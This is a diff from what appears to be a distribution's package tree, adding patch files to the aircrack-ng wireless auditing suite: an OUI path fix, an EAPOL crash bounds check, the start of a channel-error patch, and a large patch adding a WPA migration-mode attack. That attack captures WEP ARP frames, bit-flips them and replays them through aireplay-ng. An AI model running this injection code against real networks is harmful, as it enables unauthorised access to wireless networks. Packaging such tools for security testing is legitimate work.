diff --git a/net-wireless/aircrack-ng/files/changeset_r1921_backport.diff b/net-wireless/aircrack-ng/files/changeset_r1921_backport.diff
new file mode 100644
index 00000000..e9a4a801
--- /dev/null
+++ b/net-wireless/aircrack-ng/files/changeset_r1921_backport.diff
@@ -0,0 +1,60 @@
+diff -Naur aircrack-ng-1.1/src/airodump-ng.c aircrack-ng-1.1-patched/src/airodump-ng.c
+--- aircrack-ng-1.1/src/airodump-ng.c	2011-07-06 10:28:54.000000000 -0400
++++ aircrack-ng-1.1-patched/src/airodump-ng.c	2011-07-06 10:24:40.000000000 -0400
+@@ -383,8 +383,11 @@
+ 	unsigned char c[2];
+ 	struct oui *oui_ptr = NULL, *oui_head = NULL;
+ 
+-	if (!(fp = fopen(OUI_PATH, "r")))
+-		return NULL;
++	if (!(fp = fopen(OUI_PATH0, "r"))) {
++		if (!(fp = fopen(OUI_PATH1, "r"))) {
++			return NULL;
++		}
++	}
+ 
+ 	memset(buffer, 0x00, sizeof(buffer));
+ 	while (fgets(buffer, sizeof(buffer), fp) != NULL) {
+@@ -3592,6 +3595,7 @@
+ #define OUI_STR_SIZE 8
+ #define MANUF_SIZE 128
+ char *get_manufacturer(unsigned char mac0, unsigned char mac1, unsigned char mac2) {
++	static char * oui_location = NULL;
+ 	char oui[OUI_STR_SIZE + 1];
+ 	char *manuf;
+ 	//char *buffer_manuf;
+@@ -3625,7 +3629,20 @@
+ 		}
+ 	} else {
+ 		// If the file exist, then query it each time we need to get a manufacturer.
+-		fp = fopen(OUI_PATH, "r");
++		if (oui_location == NULL) {
++			fp = fopen(OUI_PATH0, "r");
++			if (fp == NULL) {
++				fp = fopen(OUI_PATH1, "r");
++				if (fp != NULL) {
++					oui_location = OUI_PATH1;
++				}
++			} else {
++				oui_location = OUI_PATH0;
++			}
++		} else {
++			fp = fopen(oui_location, "r");
++		}
++
+ 		if (fp != NULL) {
+ 
+ 			memset(buffer, 0x00, sizeof(buffer));
+diff -Naur aircrack-ng-1.1/src/airodump-ng.h aircrack-ng-1.1-patched/src/airodump-ng.h
+--- aircrack-ng-1.1/src/airodump-ng.h	2011-07-06 10:28:54.000000000 -0400
++++ aircrack-ng-1.1-patched/src/airodump-ng.h	2011-07-06 10:39:27.000000000 -0400
+@@ -111,7 +111,8 @@
+ "\x00\x00\x00\x00\x00\x00\x00\x00"
+ "\x00\x00\x00\x00\x00\x00\x00\x00";
+ 
+-#define OUI_PATH "/usr/local/etc/aircrack-ng/airodump-ng-oui.txt"
++#define OUI_PATH0 "/etc/aircrack-ng/airodump-ng-oui.txt"
++#define OUI_PATH1 "/usr/local/etc/aircrack-ng/airodump-ng-oui.txt"
+ #define MIN_RAM_SIZE_LOAD_OUI_RAM 32768
+ 
+ int read_pkts=0;
diff --git a/net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff b/net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff
new file mode 100644
index 00000000..5a8fd15a
--- /dev/null
+++ b/net-wireless/aircrack-ng/files/diff-wpa-migration-mode-aircrack-ng.diff
@@ -0,0 +1,872 @@
+diff -ru /tmp/aircrack-ng-1.1/src/aircrack-ng.c ./aircrack-ng.c
+--- /tmp/aircrack-ng-1.1/src/aircrack-ng.c	2010-04-09 11:50:14.000000000 -0300
++++ ./aircrack-ng.c	2010-07-12 13:13:42.000000000 -0300
+@@ -1065,6 +1065,9 @@
+ 
+ 			ap_cur->crypt = -1;
+ 
++			if (opt.forced_amode)
++				ap_cur->crypt = opt.amode + 1;
++
+ 			if (opt.do_ptw == 1)
+ 			{
+ 				ap_cur->ptw_clean = PTW_newattackstate();
+@@ -1388,13 +1391,18 @@
+ 
+ 		if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 )
+ 		{
+-			ap_cur->crypt = 2;	 /* encryption = WEP */
++			if( !opt.forced_amode )
++				ap_cur->crypt = 2;	 /* encryption = WEP */
+ 
+ 			/* check the extended IV flag */
+ 
+-			if( ( h80211[z + 3] & 0x20 ) != 0 )
+-								 /* encryption = WPA */
++			if( ( h80211[z + 3] & 0x20 ) != 0 ) 
++                        {
++				 /* encryption = WPA */
++				if( !opt.forced_amode )
+ 					ap_cur->crypt = 3;
++				goto unlock_mx_apl;
++                        } 
+ 
+ 			/* check the WEP key index */
+ 
+@@ -1490,7 +1498,8 @@
+ 			goto unlock_mx_apl;
+ 
+ 		ap_cur->eapol = 0;
+-		ap_cur->crypt = 3;		 /* set WPA */
++		if( !opt.forced_amode )
++			ap_cur->crypt = 3;		 /* set WPA */
+ 
+ 		if( st_cur == NULL )
+ 		{
+@@ -1976,6 +1985,9 @@
+ 			memcpy( ap_cur->bssid, bssid, 6 );
+ 
+ 			ap_cur->crypt = -1;
++			
++			if (opt.forced_amode)
++				ap_cur->crypt = opt.amode + 1;
+ 		}
+ 
+ 		if( fmt == FORMAT_IVS )
+@@ -2202,13 +2214,18 @@
+ 
+ 		if( h80211[z] != h80211[z + 1] || h80211[z + 2] != 0x03 )
+ 		{
+-			ap_cur->crypt = 2;	 /* encryption = WEP */
++			if( !opt.forced_amode )
++				ap_cur->crypt = 2;	 /* encryption = WEP */
+ 
+ 			/* check the extended IV flag */
+ 
+-			if( ( h80211[z + 3] & 0x20 ) != 0 )
+-								 /* encryption = WPA */
++			if( ( h80211[z + 3] & 0x20 ) != 0 ) 
++                        {
++				 /* encryption = WPA */
++				if( !opt.forced_amode )
+ 					ap_cur->crypt = 3;
++				goto unlock_mx_apl;
++                        } 
+ 
+ 			/* check the WEP key index */
+ 
+@@ -3213,7 +3230,10 @@
+ 
+ 		pthread_mutex_unlock( &mx_ivb );
+ 
+-		return( RESTART );
++		if (wep.nb_ivs > 0)
++			return( RESTART );
++		else
++			return( SUCCESS );
+ 	}
+ 
+ 	return( SUCCESS );
+@@ -4580,6 +4600,7 @@
+ 	opt.bssidmerge	= NULL;
+ 	opt.oneshot		= 0;
+ 	opt.logKeyToFile = NULL;
++	opt.forced_amode	= 0;
+ 
+ 	/*
+ 	all_ivs = malloc( (256*256*256) * sizeof(used_iv));
+@@ -4668,6 +4689,8 @@
+ 					return( FAILURE );
+ 				}
+ 
++				opt.forced_amode = 1;
++
+ 				break;
+ 
+ 			case 'e' :
+@@ -5362,7 +5385,7 @@
+ 						printf("Starting PTW attack with %ld ivs.\n", ap_cur->nb_ivs_vague);
+ 					ret = crack_wep_ptw(ap_cur);
+ 
+-					if( opt.oneshot == 1 && ret == FAILURE )
++					if( (opt.oneshot == 1 || wep.nb_ivs == 0) && ret == FAILURE )
+ 					{
+ 						printf( "   Attack failed. Possible reasons:\n\n"
+ 							"     * Out of luck: you must capture more IVs. Usually, 104-bit WEP\n"
+diff -ru /tmp/aircrack-ng-1.1/src/aircrack-ng.h ./aircrack-ng.h
+--- /tmp/aircrack-ng-1.1/src/aircrack-ng.h	2009-06-13 19:49:09.000000000 -0300
++++ ./aircrack-ng.h	2010-07-12 12:25:06.000000000 -0300
+@@ -148,6 +148,8 @@
+ 
+ 	char * logKeyToFile;
+ 
++        int forced_amode;	/* signals disregarding automatic detection of encryption type */
++
+ }
+ 
+ opt;
+diff -ru /tmp/aircrack-ng-1.1/src/aireplay-ng.c ./aireplay-ng.c
+--- /tmp/aircrack-ng-1.1/src/aireplay-ng.c	2010-04-02 01:33:28.000000000 -0300
++++ ./aireplay-ng.c	2010-07-08 19:56:40.000000000 -0300
+@@ -93,6 +93,10 @@
+     "\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"  \
+     "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
+ 
++#define REASSOC_REQ       \
++    "\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"  \
++    "\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00"
++
+ #define NULL_DATA       \
+     "\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"  \
+     "\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
+@@ -171,6 +175,7 @@
+ "      -e essid  : set target AP SSID\n"
+ "      -o npckts : number of packets per burst (0=auto, default: 1)\n"
+ "      -q sec    : seconds between keep-alives\n"
++"      -Q        : send reassociation requests\n"
+ "      -y prga   : keystream for shared key auth\n"
+ "      -T n      : exit after retry fake auth request n time\n"
+ "\n"
+@@ -213,6 +218,7 @@
+ "      --caffe-latte       : query a client for new IVs  (-6)\n"
+ "      --cfrag             : fragments against a client  (-7)\n"
+ "      --test              : tests injection and quality (-9)\n"
++"      --migmode           : attacks WPA migration mode  (-W)\n"
+ "\n"
+ "      --help              : Displays this usage screen\n"
+ "\n";
+@@ -269,6 +275,8 @@
+ 
+     int nodetect;
+     int rtc;
++
++    int reassoc;
+ }
+ opt;
+ 
+@@ -1760,16 +1768,25 @@
+ 
+             case 6:
+ 
+-                if( opt.a_delay == 0 )
++                if( opt.a_delay == 0 && opt.reassoc == 0 )
+                 {
+                     printf("\n");
+                     return( 0 );
+                 }
+ 
++                if( opt.a_delay == 0 && opt.reassoc == 1 )
++                {
++                    if(opt.npackets == -1) x_send = 4;
++                    state = 7;
++                    challengelen = 0;
++                    break;
++                }
++
+                 if( time( NULL ) - tt >= opt.a_delay )
+                 {
+                     if(opt.npackets == -1) x_send = 4;
+-                    state = 0;
++                    if( opt.reassoc == 1 ) state = 7;
++                    else state = 0;
+                     challengelen = 0;
+                     break;
+                 }
+@@ -1797,6 +1814,69 @@
+ 
+                 break;
+ 
++            case 7:
++
++                /* sending reassociation request */
++                
++                tries = 0;
++                state = 8;
++                if(opt.npackets == -1) x_send *= 2;
++                tt = time( NULL );
++
++                /* attempt to reassociate */
++
++                memcpy( h80211, REASSOC_REQ, 34 );
++                memcpy( h80211 +  4, opt.r_bssid, 6 );
++                memcpy( h80211 + 10, opt.r_smac , 6 );
++                memcpy( h80211 + 16, opt.r_bssid, 6 );
++
++                n = strlen( opt.r_essid );
++                if( n > 32 ) n = 32;
++
++                h80211[34] = 0x00;
++                h80211[35] = n;
++
++                memcpy( h80211 + 36, opt.r_essid,  n );
++                memcpy( h80211 + 36 + n, RATES, 16 );
++                memcpy( h80211 + 30, capa, 2);
++
++                PCT; printf( "Sending Reassociation Request" );
++                fflush( stdout );
++                gotack=0;
++
++                for( i = 0; i < x_send; i++ )
++                {
++                    if( send_packet( h80211, 52 + n ) < 0 )
++                        return( 1 );
++
++                    usleep(10);
++
++                    if( send_packet( ackbuf, 14 ) < 0 )
++                        return( 1 );
++                    usleep(10);
++
++                    if( send_packet( ackbuf, 14 ) < 0 )
++                        return( 1 );
++                }
++
++                break;
++
++            case 8:
++
++                /* waiting for a reassociation response */
++
++                if( time( NULL ) - tt >= 5 )
++                {
++                    if( x_send < 256 && (opt.npackets == -1) )
++                        x_send *= 4;
++
++                    state = 7;
++                    challengelen = 0;
++                    printf("\n");
++                }
++
++                break;
++
+             default: break;
+         }
+ 
+@@ -2042,6 +2122,60 @@
+ 
+                 state = 6;      /* assoc. done */
+             }
++
++            /* check if we got an reassociation response */
++
++            if( h80211[0] == 0x30 && state == 8 )
++            {
++                printf("\n");
++                state = 7; PCT;
++
++                if( caplen < 30 )
++                {
++                    printf( "Error: packet length < 30 bytes\n" );
++                    sleep( 3 );
++                    challengelen = 0;
++                    continue;
++                }
++
++                n = h80211[26] + ( h80211[27] << 8 );
++
++                if( n != 0 )
++                {
++                    switch( n )
++                    {
++                    case  1:
++                        printf( "Denied (code  1), is WPA in use ?\n" );
++                        break;
++
++                    case 10:
++                        printf( "Denied (code 10), open (no WEP) ?\n" );
++                        break;
++
++                    case 12:
++                        printf( "Denied (code 12), wrong ESSID or WPA ?\n" );
++                        break;
++
++                    default:
++                        printf( "Reassociation denied (code %d)\n", n );
++                        break;
++                    }
++
++                    sleep( 3 );
++                    challengelen = 0;
++                    continue;
++                }
++
++                aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF);
++                printf( "Reassociation successful :-) (AID: %d)\n", aid );
++                deauth_wait = 3;
++                fflush( stdout );
++
++                tt = time( NULL );
++                tr = time( NULL );
++
++                state = 6;      /* reassoc. done */
++            }
+         }
+     }
+ 
+@@ -3024,6 +3158,423 @@
+     return( 0 );
+ }
+ 
++int do_attack_migmode( void )
++{
++    int nb_bad_pkt;
++    int arp_off1, arp_off2;
++    int i, n, caplen, nb_arp, z;
++    long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
++    uchar flip[4096];
++    uchar senderMAC[6];
++
++    time_t tc;
++    float f, ticks[3];
++    struct timeval tv;
++    struct timeval tv2;
++    struct tm *lt;
++
++    FILE *f_cap_out;
++    struct pcap_file_header pfh_out;
++    struct pcap_pkthdr pkh;
++    struct ARP_req * arp;
++
++    if ( opt.ringbuffer )
++        arp = (struct ARP_req*) malloc( opt.ringbuffer * sizeof( struct ARP_req ) );
++    else
++        arp = (struct ARP_req*) malloc( sizeof( struct ARP_req ) );
++
++    /* capture only WEP data to broadcast address */
++
++    opt.f_type    = 2;
++    opt.f_subtype = 0;
++    opt.f_iswep   = 1;
++    opt.f_fromds  = 1;
++
++    if(getnet(NULL, 1, 1) != 0)
++        return 1;
++
++    if( memcmp( opt.f_bssid, NULL_MAC, 6 ) == 0 )
++    {
++        printf( "Please specify a BSSID (-b).\n" );
++        return( 1 );
++    }
++    /* create and write the output pcap header */
++
++    gettimeofday( &tv, NULL );
++
++    pfh_out.magic         = TCPDUMP_MAGIC;
++    pfh_out.version_major = PCAP_VERSION_MAJOR;
++    pfh_out.version_minor = PCAP_VERSION_MINOR;
++    pfh_out.thiszone      = 0;
++    pfh_out.sigfigs       = 0;
++    pfh_out.snaplen       = 65535;
++    pfh_out.linktype      = LINKTYPE_IEEE802_11;
++
++    lt = localtime( (const time_t *) &tv.tv_sec );
++
++    memset( strbuf, 0, sizeof( strbuf ) );
++    snprintf( strbuf,  sizeof( strbuf ) - 1,
++              "replay_arp-%02d%02d-%02d%02d%02d.cap",
++              lt->tm_mon + 1, lt->tm_mday,
++              lt->tm_hour, lt->tm_min, lt->tm_sec );
++
++    printf( "Saving ARP requests in %s\n", strbuf );
++
++    if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL )
++    {
++        perror( "fopen failed" );
++        return( 1 );
++    }
++
++    n = sizeof( struct pcap_file_header );
++
++    if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
++    {
++        perror( "fwrite failed\n" );
++        return( 1 );
++    }
++
++    fflush( f_cap_out );
++
++    printf( "You should also start airodump-ng to capture replies.\n" );
++    printf( "Remember to filter the capture to only keep WEP frames: ");
++    printf( " \"tshark -R 'wlan.wep.iv' -r capture.cap -w outcapture.cap\"\n");
++    //printf( "Remember to filter the capture to keep only broadcast From-DS frames.\n");
++
++    if(opt.port_in <= 0)
++    {
++        /* avoid blocking on reading the socket */
++        if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 )
++        {
++            perror( "fcntl(O_NONBLOCK) failed" );
++            return( 1 );
++        }
++    }
++
++    memset( ticks, 0, sizeof( ticks ) );
++
++    tc = time( NULL ) - 11;
++
++    nb_pkt_read = 0;
++    nb_bad_pkt  = 0;
++    nb_ack_pkt  = 0;
++    nb_arp      = 0;
++    nb_arp_tot  = 0;
++    arp_off1    = 0;
++    arp_off2    = 0;
++
++    while( 1 )
++    {
++        /* sleep until the next clock tick */
++
++        if( dev.fd_rtc >= 0 )
++        {
++            if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 )
++            {
++                perror( "read(/dev/rtc) failed" );
++                return( 1 );
++            }
++
++            ticks[0]++;
++            ticks[1]++;
++            ticks[2]++;
++        }
++        else
++        {
++            gettimeofday( &tv,  NULL );
++            usleep( 1000000/RTC_RESOLUTION );
++            gettimeofday( &tv2, NULL );
++
++            f = 1000000 * (float) ( tv2.tv_sec  - tv.tv_sec  )
++                        + (float) ( tv2.tv_usec - tv.tv_usec );
++
++            ticks[0] += f / ( 1000000/RTC_RESOLUTION );
++            ticks[1] += f / ( 1000000/RTC_RESOLUTION );
++            ticks[2] += f / ( 1000000/RTC_RESOLUTION );
++        }
++
++        if( ticks[1] > (RTC_RESOLUTION/10) )
++        {
++            ticks[1] = 0;
++            printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), "
++                    "sent %ld packets...(%d pps)\r",
++                    nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) );
++            fflush( stdout );
++        }
++
++        if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 )
++        {
++            /* threshold reach, send one frame */
++
++            ticks[2] = 0;
++
++            if( nb_arp > 0 )
++            {
++                if( nb_pkt_sent == 0 )
++                    ticks[0] = 0;
++
++                if( send_packet( arp[arp_off1].buf,
++                                 arp[arp_off1].len ) < 0 )
++                    return( 1 );
++
++                if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent  )
++                {
++                    if( send_packet( arp[arp_off1].buf,
++                                    arp[arp_off1].len ) < 0 )
++                        return( 1 );
++                }
++
++                if( ++arp_off1 >= nb_arp )
++                    arp_off1 = 0;
++            }
++        }
++
++        /* read a frame, and check if it's an ARP request */
++
++        if( opt.s_file == NULL )
++        {
++            gettimeofday( &tv, NULL );
++
++            caplen = read_packet( h80211, sizeof( h80211 ), NULL );
++
++            if( caplen  < 0 ) return( 1 );
++            if( caplen == 0 ) continue;
++        }
++        else
++        {
++            n = sizeof( pkh );
++
++            if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
++            {
++                opt.s_file = NULL;
++                continue;
++            }
++
++            if( dev.pfh_in.magic == TCPDUMP_CIGAM )
++                SWAP32( pkh.caplen );
++
++            tv.tv_sec  = pkh.tv_sec;
++            tv.tv_usec = pkh.tv_usec;
++
++            n = caplen = pkh.caplen;
++
++            if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) )
++            {
++                printf( "\r\33[KInvalid packet length %d.\n", n );
++                opt.s_file = NULL;
++                continue;
++            }
++
++            if( fread( h80211, n, 1, dev.f_cap_in ) != 1 )
++            {
++                opt.s_file = NULL;
++                continue;
++            }
++
++            if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER )
++            {
++                /* remove the prism header */
++
++                if( h80211[7] == 0x40 )
++                    n = 64;
++                else
++                    n = *(int *)( h80211 + 4 );
++
++                if( n < 8 || n >= (int) caplen )
++                    continue;
++
++                memcpy( tmpbuf, h80211, caplen );
++                caplen -= n;
++                memcpy( h80211, tmpbuf + n, caplen );
++            }
++
++            if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR )
++            {
++                /* remove the radiotap header */
++
++                n = *(unsigned short *)( h80211 + 2 );
++
++                if( n <= 0 || n >= (int) caplen )
++                    continue;
++
++                memcpy( tmpbuf, h80211, caplen );
++                caplen -= n;
++                memcpy( h80211, tmpbuf + n, caplen );
++            }
++
++            if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR )
++            {
++                /* remove the PPI header */
++
++                n = le16_to_cpu(*(unsigned short *)( h80211 + 2));
++
++                if( n <= 0 || n>= (int) caplen )
++                    continue;
++
++                /* for a while Kismet logged broken PPI headers */
++                if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 )
++                    n = 32;
++
++                if( n <= 0 || n>= (int) caplen )
++                    continue;
++
++                memcpy( tmpbuf, h80211, caplen );
++                caplen -= n;
++                memcpy( h80211, tmpbuf + n, caplen );
++            }
++        }
++
++        nb_pkt_read++;
++
++        /* check if it's a disas. or deauth packet */
++
++        if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) &&
++            ! memcmp( h80211 + 4, opt.r_smac, 6 ) )
++        {
++            nb_bad_pkt++;
++
++            if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 )
++            {
++                printf( "\33[KNotice: got a deauth/disassoc packet. Is the "
++                        "source MAC associated ?\n" );
++
++                tc = time( NULL );
++                nb_bad_pkt = 0;
++            }
++        }
++
++        if( h80211[0] == 0xD4 &&
++            ! memcmp( h80211 + 4, opt.f_bssid, 6 ) )
++        {
++            nb_ack_pkt++;
++        }
++
++        /* check if it's a potential ARP request */
++
++        opt.f_minlen = opt.f_maxlen = 68;
++
++        if( filter_packet( h80211, caplen ) == 0 )
++            goto add_arp;
++
++        opt.f_minlen = opt.f_maxlen = 86;
++
++        if( filter_packet( h80211, caplen ) == 0 )
++        {
++add_arp:
++            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
++            if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
++                z+=2;
++
++            switch( h80211[1] & 3 )
++            {
++                case  2: /* FromDS */
++                {
++                    if(memcmp(h80211 + 4, BROADCAST, 6) == 0)
++                    {
++                        /* backup sender MAC */
++
++                        memset( senderMAC, 0, 6 );
++                        memcpy( senderMAC, h80211 + 16, 6 );
++
++                        /* rewrite to a ToDS packet */
++
++                        memcpy( h80211 + 4, opt.f_bssid,  6 );
++                        memcpy( h80211 + 10, opt.r_smac,  6 );
++                        memcpy( h80211 + 16, BROADCAST, 6 );
++
++                        h80211[1] = 0x41;   /* ToDS & WEP  */
++                    }
++                    else
++                    {
++                        nb_arp_tot++;
++                        continue;
++                    }
++
++                    break;
++                }
++                default:
++                    continue;
++            }
++
++//             h80211[0] = 0x08;   /* normal data */
++
++            /* if same IV, perhaps our own packet, skip it */
++
++            for( i = 0; i < nb_arp; i++ )
++            {
++                if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 )
++                    break;
++            }
++
++            if( i < nb_arp )
++                continue;
++
++            if( caplen > 128)
++                continue;
++            /* add the ARP request in the ring buffer */
++
++            nb_arp_tot++;
++
++            /* Ring buffer size: by default: 8 ) */
++
++            if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
++                continue;
++            else {
++
++                if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) {
++                    perror( "malloc failed" );
++                    return( 1 );
++                }
++
++                memset(flip, 0, 4096);
++
++                /* flip the sender MAC to convert it into the source MAC  */
++                flip[16] ^= (opt.r_smac[0] ^ senderMAC[0]);
++                flip[17] ^= (opt.r_smac[1] ^ senderMAC[1]);
++                flip[18] ^= (opt.r_smac[2] ^ senderMAC[2]);
++                flip[19] ^= (opt.r_smac[3] ^ senderMAC[3]);
++                flip[20] ^= (opt.r_smac[4] ^ senderMAC[4]);
++                flip[21] ^= (opt.r_smac[5] ^ senderMAC[5]);
++                flip[25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP
++ 		
++                add_crc32_plain(flip, caplen-z-4-4);
++                for(i=0; i<caplen-z-4; i++) 
++                {
++                    (h80211+z+4)[i] ^= flip[i];
++                }
++ 
++                memcpy( arp[nb_arp].buf, h80211, caplen );
++                arp[nb_arp].len = caplen;
++                arp[nb_arp].hdrlen = z;
++                nb_arp++;
++
++                pkh.tv_sec  = tv.tv_sec;
++                pkh.tv_usec = tv.tv_usec;
++                pkh.caplen  = caplen;
++                pkh.len     = caplen;
++
++                n = sizeof( pkh );
++
++                if( fwrite( &pkh, n, 1, f_cap_out ) != 1 ) {
++                    perror( "fwrite failed" );
++                    return( 1 );
++                }
++
++                n = pkh.caplen;
++
++                if( fwrite( h80211, n, 1, f_cap_out ) != 1 ) {
++                    perror( "fwrite failed" );
++                    return( 1 );
++                }
++
++                fflush( f_cap_out );
++            }
++        }
++    }
++
++    return( 0 );
++}
++
+ int set_clear_arp(uchar *buf, uchar *smac, uchar *dmac) //set first 22 bytes
+ {
+     if(buf == NULL)
+@@ -5731,6 +6282,7 @@
+     opt.fast      =  0; opt.r_smac_set  =  0;
+     opt.npackets  =  1; opt.nodetect    =  0;
+     opt.rtc       =  1; opt.f_retry	=  0;
++    opt.reassoc   =  0;
+ 
+ /* XXX */
+ #if 0
+@@ -5765,11 +6317,12 @@
+             {"help",        0, 0, 'H'},
+             {"fast",        0, 0, 'F'},
+             {"bittest",     0, 0, 'B'},
++            {"migmode",     0, 0, 'W'},
+             {0,             0, 0,  0 }
+         };
+ 
+         int option = getopt_long( argc, argv,
+-                        "b:d:s:m:n:u:v:t:T:f:g:w:x:p:a:c:h:e:ji:r:k:l:y:o:q:0:1:2345679HFBDR",
++                        "b:d:s:m:n:u:v:t:T:f:g:w:x:p:a:c:h:e:ji:r:k:l:y:o:q:Q0:1:2345679HFBDRW",
+                         long_options, &option_index );
+ 
+         if( option < 0 ) break;
+@@ -5939,6 +6492,11 @@
+                 }
+                 break;
+ 
++            case 'Q' :
++
++                opt.reassoc = 1;
++                break;
++
+             case 'p' :
+ 
+                 ret = sscanf( optarg, "%x", &opt.r_fctrl );
+@@ -6188,6 +6746,17 @@
+                 opt.a_mode = 9;
+                 break;
+ 
++            case 'W' :
++
++                if( opt.a_mode != -1 )
++                {
++                    printf( "Attack mode already specified.\n" );
++                    printf("\"%s --help\" for help.\n", argv[0]);
++                    return( 1 );
++                }
++                opt.a_mode = 10;
++                break;
++
+             case 'F' :
+ 
+                 opt.fast = 1;
+@@ -6426,6 +6995,7 @@
+         case 6 : return( do_attack_caffe_latte() );
+         case 7 : return( do_attack_cfrag()       );
+         case 9 : return( do_attack_test()        );
++        case 10: return( do_attack_migmode()     );
+         default: break;
+     }
+ 
+diff -ru /tmp/aircrack-ng-1.1/src/crypto.c ./crypto.c
+--- /tmp/aircrack-ng-1.1/src/crypto.c	2009-05-02 20:43:51.000000000 -0300
++++ ./crypto.c	2010-07-07 17:07:51.000000000 -0300
+@@ -438,6 +438,18 @@
+         return 0;
+ }
+ 
++int is_wlccp(void *wh, int len)
++{
++	int wlccpsize = 58;
++
++        if(wh) {}
++
++        if (len == wlccpsize)
++            return 1;
++
++        return 0;
++}
++
+ int is_qos_arp_tkip(void *wh, int len)
+ {
+         unsigned char *packet = (unsigned char*) wh;
+@@ -515,6 +527,29 @@
+             return 1;
+ 
+         }
++        else if(is_wlccp(wh, len)) /*wlccp*/
++        {
++            len = sizeof(S_LLC_SNAP_WLCCP) - 1;
++            memcpy(ptr, S_LLC_SNAP_WLCCP, len);
++            ptr += len;
++
++            /* wlccp hdr */
++            len = 4;
++            memcpy(ptr, "\x00\x32\x40\x01", len);
++            ptr += len;
++
++            /* dst mac */
++            len = 6;
++            memcpy(ptr, get_da(wh), len);
++            ptr += len;
++
++            len = ptr - ((unsigned char*)clear);
++            *clen = len;
++	    if (weight)
++                weight[0] = 256;
++            return 1;
++
++        }
+         else if(is_spantree(wh)) /*spantree*/
+         {
+             len = sizeof(S_LLC_SNAP_SPANTREE) - 1;
+diff -ru /tmp/aircrack-ng-1.1/src/crypto.h ./crypto.h
+--- /tmp/aircrack-ng-1.1/src/crypto.h	2009-03-02 10:11:46.000000000 -0200
++++ ./crypto.h	2010-07-07 16:55:30.000000000 -0300
+@@ -17,6 +17,7 @@
+ 
+ #define S_LLC_SNAP      "\xAA\xAA\x03\x00\x00\x00"
+ #define S_LLC_SNAP_ARP  (S_LLC_SNAP "\x08\x06")
++#define S_LLC_SNAP_WLCCP      "\xAA\xAA\x03\x00\x40\x96\x00\x00"
+ #define S_LLC_SNAP_IP   (S_LLC_SNAP "\x08\x00")
+ #define S_LLC_SNAP_SPANTREE   "\x42\x42\x03\x00\x00\x00\x00\x00"
+ #define S_LLC_SNAP_CDP  "\xAA\xAA\x03\x00\x00\x0C\x20"
diff --git a/net-wireless/aircrack-ng/files/eapol_fix.patch b/net-wireless/aircrack-ng/files/eapol_fix.patch
new file mode 100644
index 00000000..38490b82
--- /dev/null
+++ b/net-wireless/aircrack-ng/files/eapol_fix.patch
@@ -0,0 +1,20 @@
+--- src/airodump-ng.c
++++ src/airodump-ng.c
+@@ -2126,7 +2126,7 @@
+                     st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 )
+                             +   h80211[z + 3] + 4;
+ 
+-                    if ((int)pkh.len - z < st_cur->wpa.eapol_size  || st_cur->wpa.eapol_size == 0)
++                    if (caplen - z < st_cur->wpa.eapol_size  || st_cur->wpa.eapol_size == 0 || caplen - z < 81 + 16 || st_cur->wpa.eapol_size > 256)
+ 					{
+ 						// Ignore the packet trying to crash us.
+                     	goto write_packet;
+@@ -2158,7 +2158,7 @@
+                     st_cur->wpa.eapol_size = ( h80211[z + 2] << 8 )
+                             +   h80211[z + 3] + 4;
+ 
+-                    if ((int)pkh.len - z < st_cur->wpa.eapol_size  || st_cur->wpa.eapol_size == 0)
++		    if (caplen - z < st_cur->wpa.eapol_size  || st_cur->wpa.eapol_size == 0 || caplen - z < 81 + 16 || st_cur->wpa.eapol_size > 256)
+ 					{
+ 						// Ignore the packet trying to crash us.
+                     	goto write_packet;
diff --git a/net-wireless/aircrack-ng/files/ignore-channel-1-error.patch b/net-wireless/aircrack-ng/files/ignore-channel-1-error.patch
new file mode 100644
index 00000000..6189af13
--- /dev/null
+++ b/net-wireless/aircrack-ng/files/ignore-channel-1-error.patch
@@ -0,0 +1,65 @@
+Adapted for version 1.1 by Zero_Chaos based on original
+
+From: Paul Fertser <fercerpav@gmail.com>
+Date: Wed, 12 Jan 2011 00:27:07 +0300
+Subject: [PATCH] aireplay-ng: add an option to ignore channel -1 error
+
+Allow the user to ignore the channel match check when the host kernel is
+not providing channel for the used interface. Required with unpatched
+cfg80211 kernels.
+
+Signed-off-by: Paul Fertser <fercerpav@gmail.com>
+
